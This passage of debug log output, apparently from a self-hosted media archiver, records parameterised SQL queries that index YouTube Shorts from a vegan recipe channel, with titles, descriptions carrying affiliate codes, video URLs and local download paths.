Thanks for watching!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN", "Vegan Caesar Salad Recipe 🥗 🤤", "dc9dec55-7467-4364-9596-5f2ce61bcd57", 1, [], 48, false, "EZT9jPerBZQ", "https://www.youtube.com/shorts/EZT9jPerBZQ", 121, "/downloads/downloads/alec/Steamy Vegan/2023-09-19 Vegan Caesar Salad Recipe 🥗 🤤/Vegan Caesar Salad Recipe 🥗 🤤 [EZT9jPerBZQ].NA", false, false, true, 1, ~U[2023-09-19 17:00:09Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "My vegan caesar salad recipe is the best one out there. This vegan and gluten free salad dressing recipe goes perfect with vegan wings, salads, bowls, and wraps.\n\nSubscribe and check out all 9 homemade vegan dressings I made! Thanks for watching!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN", "Vegan Caesar Salad Recipe 🥗 🤤", 1, 48, false, "EZT9jPerBZQ", "https://www.youtube.com/shorts/EZT9jPerBZQ", "/downloads/downloads/alec/Steamy Vegan/2023-09-19 Vegan Caesar Salad Recipe 🥗 🤤/Vegan Caesar Salad Recipe 🥗 🤤 [EZT9jPerBZQ].NA", true, ~U[2023-09-19 17:00:09Z]] 20:31:09.555 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.557 [debug] QUERY OK source="media_items" db=1.8ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-18 17:00:06Z], 1] 20:31:09.558 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF", "a6173bfd-41fd-4a92-ac83-108d608d14ac", 1, [], 35, false, "9mhmX_6zbYA", "https://www.youtube.com/shorts/9mhmX_6zbYA", 122, "/downloads/downloads/alec/Steamy Vegan/2023-09-18 Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF/Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF [9mhmX_6zbYA].NA", false, false, true, 1, ~U[2023-09-18 17:00:06Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF", 1, 35, false, "9mhmX_6zbYA", "https://www.youtube.com/shorts/9mhmX_6zbYA", "/downloads/downloads/alec/Steamy Vegan/2023-09-18 Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF/Maple Mustard Vinaigrette Salad Dressing 🥗 Vegan + GF [9mhmX_6zbYA].NA", true, ~U[2023-09-18 17:00:06Z]] 20:31:09.559 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.561 [debug] QUERY OK source="media_items" db=1.7ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-17 23:03:00Z], 1] 20:31:09.562 [debug] QUERY OK source="media_items" db=0.7ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Yes vegans can shop at dollar stores and actually get a reasonably priced grocery haul for full meals that are healthy for you. These are all vegan and gluten free recipes for lunch or dinner that I made. \n\nSubscribe if you want more vegan and gluten free recipes every week! Thanks for watching!", "Vegan Dollar Store Meals for Under $2 💵", "ad08f7e8-7f33-4549-b855-b0082eaeb64a", 1, [], 14, false, "quhHZZTXgm4", "https://www.youtube.com/shorts/quhHZZTXgm4", 123, "/downloads/downloads/alec/Steamy Vegan/2023-09-17 Vegan Dollar Store Meals for Under $2 💵/Vegan Dollar Store Meals for Under $2 💵 [quhHZZTXgm4].NA", false, false, true, 1, ~U[2023-09-17 23:03:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Yes vegans can shop at dollar stores and actually get a reasonably priced grocery haul for full meals that are healthy for you. These are all vegan and gluten free recipes for lunch or dinner that I made. \n\nSubscribe if you want more vegan and gluten free recipes every week! Thanks for watching!", "Vegan Dollar Store Meals for Under $2 💵", 1, 14, false, "quhHZZTXgm4", "https://www.youtube.com/shorts/quhHZZTXgm4", "/downloads/downloads/alec/Steamy Vegan/2023-09-17 Vegan Dollar Store Meals for Under $2 💵/Vegan Dollar Store Meals for Under $2 💵 [quhHZZTXgm4].NA", true, ~U[2023-09-17 23:03:00Z]] 20:31:09.563 [debug] QUERY OK source="sources" db=0.4ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.566 [debug] QUERY OK source="media_items" db=3.3ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-15 22:47:01Z], 1] 20:31:09.568 [debug] QUERY OK source="media_items" db=1.2ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've been recipe testing and eating all 4 of these cozy fall recipes and I'd say they're ready for blog recipes. If you're looking for some new vegan and gluten free fall inspired recipes then make sure to subscribe as we have a full pumpkin infused series upcoming and a Fall recipe series on the channel!", "What I Eat in a Day 🍂 Cozy Fall Recipes", "207271ee-1316-4bc7-a37b-33811113a36f", 1, [], 12, false, "cyfby704kv4", "https://www.youtube.com/shorts/cyfby704kv4", 124, "/downloads/downloads/alec/Steamy Vegan/2023-09-15 What I Eat in a Day 🍂 Cozy Fall Recipes/What I Eat in a Day 🍂 Cozy Fall Recipes [cyfby704kv4].NA", false, false, true, 1, ~U[2023-09-15 22:47:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I've been recipe testing and eating all 4 of these cozy fall recipes and I'd say they're ready for blog recipes. If you're looking for some new vegan and gluten free fall inspired recipes then make sure to subscribe as we have a full pumpkin infused series upcoming and a Fall recipe series on the channel!", "What I Eat in a Day 🍂 Cozy Fall Recipes", 1, 12, false, "cyfby704kv4", "https://www.youtube.com/shorts/cyfby704kv4", "/downloads/downloads/alec/Steamy Vegan/2023-09-15 What I Eat in a Day 🍂 Cozy Fall Recipes/What I Eat in a Day 🍂 Cozy Fall Recipes [cyfby704kv4].NA", true, ~U[2023-09-15 22:47:01Z]] 20:31:09.569 [debug] QUERY OK source="sources" db=0.7ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.571 [debug] QUERY OK source="media_items" db=1.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 18:00:05Z], 1] 20:31:09.573 [debug] QUERY OK source="media_items" db=1.5ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This pink Barbie inspired salad dressing will be a huge hit at the lunch or dinner table. It's sweet, creamy, and such a healthy salad dressing that you can put on any of your buddha bowls or salads.\n\nSubscribe and check out both of our recent salad dressing videos on the channel for 9 different homemade salad dressings like caesar, ranch powder, catalina, green goddess, thousand island and many more!", "Barbie Salad Dressing", "433ea690-f0ce-4d25-98f6-0f51f22a9225", 1, [], 54, false, "7fGGbIOvjN4", "https://www.youtube.com/shorts/7fGGbIOvjN4", 125, "/downloads/downloads/alec/Steamy Vegan/2023-09-14 Barbie Salad Dressing/Barbie Salad Dressing [7fGGbIOvjN4].NA", false, false, true, 1, ~U[2023-09-14 18:00:05Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This pink Barbie inspired salad dressing will be a huge hit at the lunch or dinner table. It's sweet, creamy, and such a healthy salad dressing that you can put on any of your buddha bowls or salads.\n\nSubscribe and check out both of our recent salad dressing videos on the channel for 9 different homemade salad dressings like caesar, ranch powder, catalina, green goddess, thousand island and many more!", "Barbie Salad Dressing", 1, 54, false, "7fGGbIOvjN4", "https://www.youtube.com/shorts/7fGGbIOvjN4", "/downloads/downloads/alec/Steamy Vegan/2023-09-14 Barbie Salad Dressing/Barbie Salad Dressing [7fGGbIOvjN4].NA", true, ~U[2023-09-14 18:00:05Z]] 20:31:09.573 [debug] QUERY OK source="sources" db=0.3ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.575 [debug] QUERY OK source="media_items" db=1.6ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-12 19:00:22Z], 1] 20:31:09.577 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I try to incorporate as many colours as I can with my vegan and gluten free diet. It can be pretty easy to still eat unhealthy even while eating plant based so I do my best to eat whole and healthy foods.\n\nIf you enjoy vegan and gluten free recipes then please subscribe! We have new videos every week on the channel!", "How I Eat the Rainbow 🌈 🤤", "27cce16b-54b8-4352-9c28-b885ea784bfa", 1, [], 13, false, "qzv8Iad-daM", "https://www.youtube.com/shorts/qzv8Iad-daM", 126, "/downloads/downloads/alec/Steamy Vegan/2023-09-12 How I Eat the Rainbow 🌈 🤤/How I Eat the Rainbow 🌈 🤤 [qzv8Iad-daM].NA", false, false, true, 1, ~U[2023-09-12 19:00:22Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I try to incorporate as many colours as I can with my vegan and gluten free diet. It can be pretty easy to still eat unhealthy even while eating plant based so I do my best to eat whole and healthy foods.\n\nIf you enjoy vegan and gluten free recipes then please subscribe! We have new videos every week on the channel!", "How I Eat the Rainbow 🌈 🤤", 1, 13, false, "qzv8Iad-daM", "https://www.youtube.com/shorts/qzv8Iad-daM", "/downloads/downloads/alec/Steamy Vegan/2023-09-12 How I Eat the Rainbow 🌈 🤤/How I Eat the Rainbow 🌈 🤤 [qzv8Iad-daM].NA", true, ~U[2023-09-12 19:00:22Z]] 20:31:09.577 [debug] QUERY OK source="sources" db=0.6ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.579 [debug] QUERY OK source="media_items" db=1.7ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-11 23:07:00Z], 1] 20:31:09.580 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are just a few of my vegan and gluten free go-to dishes when I'm feeling lazy. The vegan GF protein packed waffles are a must try and nachos are just always the best when you're feeling lazy.\n\nSubscribe to see more vegan and gluten free recipes on the channel! Thanks for watching!", "What I Eat on a Lazy Sunday 🧇", "a29044b5-bf54-4e09-9d32-eb9b48ac9288", 1, [], 14, false, "PZRfTDSduwk", "https://www.youtube.com/shorts/PZRfTDSduwk", 127, "/downloads/downloads/alec/Steamy Vegan/2023-09-11 What I Eat on a Lazy Sunday 🧇/What I Eat on a Lazy Sunday 🧇 [PZRfTDSduwk].NA", false, false, true, 1, ~U[2023-09-11 23:07:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These are just a few of my vegan and gluten free go-to dishes when I'm feeling lazy. The vegan GF protein packed waffles are a must try and nachos are just always the best when you're feeling lazy.\n\nSubscribe to see more vegan and gluten free recipes on the channel! Thanks for watching!", "What I Eat on a Lazy Sunday 🧇", 1, 14, false, "PZRfTDSduwk", "https://www.youtube.com/shorts/PZRfTDSduwk", "/downloads/downloads/alec/Steamy Vegan/2023-09-11 What I Eat on a Lazy Sunday 🧇/What I Eat on a Lazy Sunday 🧇 [PZRfTDSduwk].NA", true, ~U[2023-09-11 23:07:00Z]] 20:31:09.581 [debug] QUERY OK source="sources" db=0.4ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.583 [debug] QUERY OK source="media_items" db=1.5ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-10 23:45:01Z], 1] 20:31:09.583 [debug] QUERY OK source="media_items" db=0.6ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is my 3rd date bark recipe and one of my favourite vegan dessert recipes. Check out all 3 ways I like to make my date bark by clicking on the play button for the full video!\n\nSubscribe if you enjoy vegan and gluten free recipes!", "Coconut Date Bark That Tastes Like Almond Joy but BETTER!", "7b4bcf2f-5ef1-47ef-87a7-6050f420e5c9", 1, [], 32, false, "iFsbhX73ptg", "https://www.youtube.com/shorts/iFsbhX73ptg", 128, "/downloads/downloads/alec/Steamy Vegan/2023-09-10 Coconut Date Bark That Tastes Like Almond Joy but BETTER!/Coconut Date Bark That Tastes Like Almond Joy but BETTER! [iFsbhX73ptg].NA", false, false, true, 1, ~U[2023-09-10 23:45:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This is my 3rd date bark recipe and one of my favourite vegan dessert recipes. Check out all 3 ways I like to make my date bark by clicking on the play button for the full video!\n\nSubscribe if you enjoy vegan and gluten free recipes!", "Coconut Date Bark That Tastes Like Almond Joy but BETTER!", 1, 32, false, "iFsbhX73ptg", "https://www.youtube.com/shorts/iFsbhX73ptg", "/downloads/downloads/alec/Steamy Vegan/2023-09-10 Coconut Date Bark That Tastes Like Almond Joy but BETTER!/Coconut Date Bark That Tastes Like Almond Joy but BETTER! [iFsbhX73ptg].NA", true, ~U[2023-09-10 23:45:01Z]] 20:31:09.584 [debug] QUERY OK source="sources" db=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.586 [debug] QUERY OK source="media_items" db=1.5ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-08 17:15:01Z], 1] 20:31:09.587 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FInding you have no time to cook throughout your busy work or school week? I feel ya, which is why I've put together 3 meal prep videos all about breakfast, lunch and dinner meal prep. It's made such a huge difference with my schedule and eating healthy vegan and gluten free meals.\n\nSubscribe and check out all my latest meal prep vids on the channel. Thanks for watching!", "How I Meal Prep 🍽️ vegan + gluten free", "9e5f1d2a-1341-46bd-8033-8df3768ace83", 1, [], 14, false, "DzzReneeXA0", "https://www.youtube.com/shorts/DzzReneeXA0", 129, "/downloads/downloads/alec/Steamy Vegan/2023-09-08 How I Meal Prep 🍽️ vegan + gluten free/How I Meal Prep 🍽️ vegan + gluten free [DzzReneeXA0].NA", false, false, true, 1, ~U[2023-09-08 17:15:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "FInding you have no time to cook throughout your busy work or school week? I feel ya, which is why I've put together 3 meal prep videos all about breakfast, lunch and dinner meal prep. It's made such a huge difference with my schedule and eating healthy vegan and gluten free meals.\n\nSubscribe and check out all my latest meal prep vids on the channel. Thanks for watching!", "How I Meal Prep 🍽️ vegan + gluten free", 1, 14, false, "DzzReneeXA0", "https://www.youtube.com/shorts/DzzReneeXA0", "/downloads/downloads/alec/Steamy Vegan/2023-09-08 How I Meal Prep 🍽️ vegan + gluten free/How I Meal Prep 🍽️ vegan + gluten free [DzzReneeXA0].NA", true, ~U[2023-09-08 17:15:01Z]] 20:31:09.587 [debug] QUERY OK source="sources" db=0.5ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.590 [debug] QUERY OK source="media_items" db=1.5ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 17:15:01Z], 1] 20:31:09.591 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This salad dressing is always a huge hit at family dinners and is a must make. It's a super healthy vegan dressing recipe and I probably make it at least once per month.\n\nClick the play button by my channel name to watch the full salad dressing episode where I show you 4 other showstopper salad dressings!\n\nSubscribe for more vegan and gluten free recipes every week!", "The BEST Green Goddess Salad Dressing 🥗🌿🤤", "f73f197f-ba3d-410b-b1bc-d7165b4e6570", 1, [], 52, false, "Vrwg_TY1Nd8", "https://www.youtube.com/shorts/Vrwg_TY1Nd8", 130, "/downloads/downloads/alec/Steamy Vegan/2023-09-07 The BEST Green Goddess Salad Dressing 🥗🌿🤤/The BEST Green Goddess Salad Dressing 🥗🌿🤤 [Vrwg_TY1Nd8].NA", false, false, true, 1, ~U[2023-09-07 17:15:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This salad dressing is always a huge hit at family dinners and is a must make. It's a super healthy vegan dressing recipe and I probably make it at least once per month.\n\nClick the play button by my channel name to watch the full salad dressing episode where I show you 4 other showstopper salad dressings!\n\nSubscribe for more vegan and gluten free recipes every week!", "The BEST Green Goddess Salad Dressing 🥗🌿🤤", 1, 52, false, "Vrwg_TY1Nd8", "https://www.youtube.com/shorts/Vrwg_TY1Nd8", "/downloads/downloads/alec/Steamy Vegan/2023-09-07 The BEST Green Goddess Salad Dressing 🥗🌿🤤/The BEST Green Goddess Salad Dressing 🥗🌿🤤 [Vrwg_TY1Nd8].NA", true, ~U[2023-09-07 17:15:01Z]] 20:31:09.592 [debug] QUERY OK source="sources" db=0.9ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.594 [debug] QUERY OK source="media_items" db=1.7ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND 